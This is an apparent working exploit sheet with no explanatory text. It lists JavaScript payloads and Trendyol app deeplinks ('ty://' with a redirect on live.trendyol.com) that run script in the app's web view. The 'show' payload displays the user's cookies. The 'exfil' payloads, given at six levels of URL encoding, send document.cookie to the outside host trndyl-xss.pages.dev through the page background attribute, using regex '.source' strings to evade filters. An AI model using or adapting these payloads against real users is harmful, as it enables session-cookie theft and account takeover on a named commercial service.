host: trndyl-xss.pages.dev

show payload (decoded, no '+', depth-independent):

foo:javascript:top[/document/.source][/body/.source][/innerText/.source]=top[/document/.source][/cookie/.source]

exfil payload (decoded):

foo:javascript:s=top[/location/.source][/origin/.source][6];d=top[/document/.source];d[/body/.source][/background/.source]=s+s+/trndyl-xss.pages.dev/.source+s+/x3?c=/.source+d[/cookie/.source];0

deeplink - warm:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/

deeplink - show:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3Atop%5B%2Fdocument%2F.source%5D%5B%2Fbody%2F.source%5D%5B%2FinnerText%2F.source%5D%3Dtop%5B%2Fdocument%2F.source%5D%5B%2Fcookie%2F.source%5D

deeplink - diagnose:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3Atop%5B%2Flocation%2F.source%5D%5B%2Fhref%2F.source%5D

deeplink - exfil depth 1:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3As%3Dtop%5B%2Flocation%2F.source%5D%5B%2Forigin%2F.source%5D%5B6%5D%3Bd%3Dtop%5B%2Fdocument%2F.source%5D%3Bd%5B%2Fbody%2F.source%5D%5B%2Fbackground%2F.source%5D%3Ds%2Bs%2B%2Ftrndyl-xss.pages.dev%2F.source%2Bs%2B%2Fx1%3Fc%3D%2F.source%2Bd%5B%2Fcookie%2F.source%5D%3B0

deeplink - exfil depth 2:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3As%3Dtop%5B%2Flocation%2F.source%5D%5B%2Forigin%2F.source%5D%5B6%5D%3Bd%3Dtop%5B%2Fdocument%2F.source%5D%3Bd%5B%2Fbody%2F.source%5D%5B%2Fbackground%2F.source%5D%3Ds%252Bs%252B%2Ftrndyl-xss.pages.dev%2F.source%252Bs%252B%2Fx2%3Fc%3D%2F.source%252Bd%5B%2Fcookie%2F.source%5D%3B0

deeplink - exfil depth 3:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3As%3Dtop%5B%2Flocation%2F.source%5D%5B%2Forigin%2F.source%5D%5B6%5D%3Bd%3Dtop%5B%2Fdocument%2F.source%5D%3Bd%5B%2Fbody%2F.source%5D%5B%2Fbackground%2F.source%5D%3Ds%25252Bs%25252B%2Ftrndyl-xss.pages.dev%2F.source%25252Bs%25252B%2Fx3%3Fc%3D%2F.source%25252Bd%5B%2Fcookie%2F.source%5D%3B0

deeplink - exfil depth 4:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3As%3Dtop%5B%2Flocation%2F.source%5D%5B%2Forigin%2F.source%5D%5B6%5D%3Bd%3Dtop%5B%2Fdocument%2F.source%5D%3Bd%5B%2Fbody%2F.source%5D%5B%2Fbackground%2F.source%5D%3Ds%2525252Bs%2525252B%2Ftrndyl-xss.pages.dev%2F.source%2525252Bs%2525252B%2Fx4%3Fc%3D%2F.source%2525252Bd%5B%2Fcookie%2F.source%5D%3B0

deeplink - exfil depth 5:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3As%3Dtop%5B%2Flocation%2F.source%5D%5B%2Forigin%2F.source%5D%5B6%5D%3Bd%3Dtop%5B%2Fdocument%2F.source%5D%3Bd%5B%2Fbody%2F.source%5D%5B%2Fbackground%2F.source%5D%3Ds%252525252Bs%252525252B%2Ftrndyl-xss.pages.dev%2F.source%252525252Bs%252525252B%2Fx5%3Fc%3D%2F.source%252525252Bd%5B%2Fcookie%2F.source%5D%3B0

deeplink - exfil depth 6:

ty://?Page=InWeb&WebUrl=https://live.trendyol.com/redirect?url=foo%3Ajavascript%3As%3Dtop%5B%2Flocation%2F.source%5D%5B%2Forigin%2F.source%5D%5B6%5D%3Bd%3Dtop%5B%2Fdocument%2F.source%5D%3Bd%5B%2Fbody%2F.source%5D%5B%2Fbackground%2F.source%5D%3Ds%25252525252Bs%25252525252B%2Ftrndyl-xss.pages.dev%2F.source%25252525252Bs%25252525252B%2Fx6%3Fc%3D%2F.source%25252525252Bd%5B%2Fcookie%2F.source%5D%3B0